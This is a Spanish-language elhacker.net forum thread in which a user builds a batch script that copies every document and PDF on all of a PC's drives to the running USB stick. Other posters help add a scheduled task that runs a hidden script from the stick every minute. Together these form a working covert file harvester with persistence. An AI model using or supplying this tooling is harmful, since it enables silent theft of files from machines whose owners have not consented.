Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: binario010101 en 8 Octubre 2013, 19:31 pm



Título: ayuda a simplificar bat
Publicado por: binario010101 en 8 Octubre 2013, 19:31 pm
hola amigos tengo este bat

Código:
(FOR /R "A:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "B:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "C:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "D:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "E:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "M:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "N:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "O:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "P:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Q:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "R:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "S:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "T:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "U:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "V:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "X:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Y:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Z:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))

el cual copia todos los archivos de los discos del pc a la usb donde esta el bat

estoy usando todas las letras del abecedario para buscar todos los discos del pc y uso "%1\trabajos\" para que se copien a la usb donde esta el bat
 
alguien me puede ayudar a simplificar mi codigo


gracias por sus respuestas


Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 9 Octubre 2013, 16:23 pm
Uf, te pasaste un poco con tanta repetición de código :P

porfavor lee mi respuesta aquí: http://foro.elhacker.net/scripting/bat_que_detecte_automaticamente_usb-t400296.0.html;msg1890277#msg1890277

Aquí tienes:
Código
  1. @ECHO OFF & CHCP 1252 1>NUL
  2.  
  3. :: INFO:
  4. ::
  5. :: # WMI Class Win32_LogicalDisk Help
  6. ::
  7. :: Drivetype 2: Removable
  8. :: Drivetype 3: Local hard disk
  9.  
  10. REM Filtro el output del comando WMIC.
  11. For /F %%# in (
  12. 'wmic logicaldisk get caption^,drivetype ^| FINDSTR "2 3"'
  13. ) Do (
  14. REM Saco las letras de los dispositivos disponibles.
  15. Call Set "DRIVES=%%DRIVES%%%%#"
  16. )
  17.  
  18. REM Elimino la letra de unidad desde la que se inició este Script Bat.
  19. Call Set "DRIVES=%%DRIVES:%~d0=%%"
  20.  
  21. REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio",
  22. REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR.
  23. Set "DRIVES=%DRIVES::= %"
  24.  
  25. REM Por último, proceso cada letra de unidad.
  26. For %%D in (%DRIVES%) Do (
  27.  
  28. Echo [+] Procesando unidad "%%D:\" | MORE
  29.  
  30. FOR /R "%%D:\" %%# IN (
  31. "*.doc","*.d0cx","*.rtf","*.pdf"
  32. )  DO  (
  33. Echo "%%~#"
  34. Copy /Y "%%~#" "%~d0\trabajos\" 1>NUL
  35. )
  36.  
  37. )
  38.  
  39. Pause&Exit

Saludos


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 9 Octubre 2013, 18:17 pm
totalmente agradecido

como quito el mensaje "precione una tecla para continuar..."

y otra pregunta

a este codigo
Código:
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR F:\Hide\start.vbs

como le creo una variable para la letra de la usb, u otro mecanismo que ejecute el archivo vbs?



Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 9 Octubre 2013, 18:34 pm
No entiendo muy bien la pregunta.

¿Quieres que la tarea programada ejecute el VBS, y este VBS se supone que le quieres asignar la letra de unidad desde donde tienes tu script?.

La letra del USB desde donde ejecutas el script la tienes almacenada en esta variable especial:
Código:
%~d0

Código
  1. REM Ejemplo:
  2. Set "DriveLetter=%~d0"
  3. Echo %DriveLetter%
  4.  
  5. SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\Hide\start.vbs\""

Saludos


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 9 Octubre 2013, 18:54 pm
el problema es que la ruta del archivo start.vbs es F:\Hide\start.vbs  pero cuando la usb tenga asiganda una letra diferente el run.cmd no lo encontrara

probando tu codigo

gracias


Título: Re: ayuda a simplificar bat
Publicado por: Segadorfelix en 9 Octubre 2013, 21:56 pm
Hola binario010101.
Supongo, que te refieres a esto:

Código:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))

SaluDos.


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 10 Octubre 2013, 20:03 pm
gracias amigos pero ningun codigo me funciona

tengo este guardado como run.cm en formato ANSI pero no funciona
Código:
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR E:\start.vbs

intente con este de EleKtro H@cker pero tampoco funciona

Código:
REM Ejemplo:
Set "DriveLetter=%~d0"
Echo %DriveLetter%
 
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\start.vbs\""

probe con el de Segadorfelix pero tampoco funciona
Código:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe \" %%r\start.vbs\""))

alguna idea porque ninguno me funciona?


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 20:35 pm
cuando ejecuto manualmente el archivo run.cmd con este codigo
Código:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))
me aparece esto
error al cargar la secuencia de comando "C:\windows\system32\ G:\start.vbs (el nombre del archivo o  el nombre de  directorio o la sintaxis de la etiqueta del volumen no son correctos)


Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 11 Octubre 2013, 20:49 pm
En lugar de copiar los ejemplos de los demás sin entender su funcionamiento deberías procurar buscar lo que significa cada cosa y para que sirven.

El ejemplo de @Segadorfelix contiene dos errores de sintaxis, aquí estás dejando un espacio entre la variable del FOR y la comilla doble \" %%r,
pero además de eso, la variable de FOR contiene una letra, un solo caracter, ¿entonces no crees que aquí faltaría algo más?:
Código:
\" %%r\Hide\start.vbs\"

Hazle un Echo a la cadena para darte cuenta de lo que falta.

Saludos


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 21:34 pm
el error del espacio luego del for no lo iba notado el segundo error si.

ese codigo me creo un bucle infinito alguien sabe como borrarlo ya intenete con

Código:
@echo off
SCHTASKS /tn copiar /End
pause
SCHTASKS /TR "copiar" /delete

y otras variantes pero no funciona


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 22:17 pm
use
Código:
schtasks /query
para ver las tareas programadas
tengo dos creadas por mi que quiero eliminar
copiar
Copiar G
la tarea copiar la borre usando
Código:
SCHTASKS /Delete /TN copiar
pero cuando intento con
Código:
SCHTASKS /Delete /TN Copiar G
y
Código:
SCHTASKS /Delete /TN Copiar_G
no me funciono


Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 11 Octubre 2013, 22:21 pm
tienes el argumento abierto en Copiar G, encierralo con comillas dobles...

De todas formas puedes eliminar tareas desde el programador de tareas, en el panel de control.

saludos


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 22:21 pm
bueno la respuesta era usar
Código:
SCHTASKS /Delete /TN "Copiar G"


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 23:54 pm
por el  panel de control no la encontré la borre por cmd



[Elektro]:
Si veo otra infracción cerraré el post.

Respeta las normas del foro, deja de hacer tanto doble post,
y porfavor, no envies mensajes privados y duplicados haciendo Spam en el buzón para formular preguntas, utiliza el foro, para eso está,
no es necesario que me envies el mismo privado varias veces, modero esta sección y eso significa que leo todos los posts, los leeré/contestaré cuando pueda hacerlo.

http://foro.elhacker.net/reglas


Un saludo


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 12 Octubre 2013, 16:07 pm
no funciona
Código:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) 
DO
(if exist %%r:\Hide\start.vbs )
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe" \ %%r:\Hide\start.vbs\"))

intente asi pero crea la tarea copiar en todos los disco
Código:
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (SCHTASKS /create /SC MINUTE /MO 1 /tn Copiar /TR "if  exist %%r:\1.jpg")


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 12 Octubre 2013, 21:44 pm
estoy probando el codigo original
Código:
@echo off 
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR C:\1.jpg

este codigo es el mas cencillo se debe iniciar la tarea "copiar" la cual se debe ejecutar cada minuto y abrir la imagen 1.jpg

pero no se inicia automaticamente a menos que la ejecute manualmente pero ese no es el objetivo. pues debe iniciarse automaticamente ??????????????????????????????????


Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 13 Octubre 2013, 01:08 am
Hola,
la sintaxis es correcta, los parámettros también,
lo he testeado, la tarea programada se ejecuta cada 1 minuto.

¿Que windows tienes?

Comprueba que tienes el servicio del programador de tareas habilitado y activado, de lo contrario óbviamente no va a servir de nada crear tareas programadas.
Código
  1. sc query schedule
Citar
Código:
ESTADO             : 4  RUNNING

Comprueba también que no tengas un conflicto de tareas duplicadas en el programador de tareas.

un saludo


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 13 Octubre 2013, 03:58 am
tengo win 7

no tengo conflicto de tareas programadas

y mi estado es

Código:
sc query schedule RUNNING

NOMBRE_SERVICIO: schedule
        TIPO               : 20  WIN32_SHARE_PROCESS
        ESTADO             : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        CÓD_SALIDA_WIN32   : 0  (0x0)
        CÓD_SALIDA_SERVICIO: 0  (0x0)
        PUNTO_COMPROB.     : 0x0
        INDICACIÓN_INICIO  : 0x0

acabo de crear varios archivos y ninguno se inicia automaticamente


Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 13 Octubre 2013, 04:09 am
acabo de crear varios archivos y ninguno se inicia automaticamente

Pues en ese caso y según lo que comentas, el único posible error es que no estés encerrando el argumento con comillas dobles:

Código:
... /tr "C:\ruta con espacios\archivo.bat"

O que no estés usando la ruta absoluta del archivo, recuerda que el directorio actual del entorno de una nueva CMD es en la carpeta del sistema "C:\Windows\system32".

Saludos


Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 13 Octubre 2013, 16:48 pm
lei en internet que los archvos cmd. programados con el comando SCHTASKS para hacer  tareas programadas se pueden ubicar en cualquier parte del disco y pues hasta el momento no e probado colocando el archivo en "C:\Windows\system32", igual lo que busco es hacer una especia de autorun para mi usb por lo cual el archivo debe estar en la usb para que funcione cada ves que cambio de equipo

gracias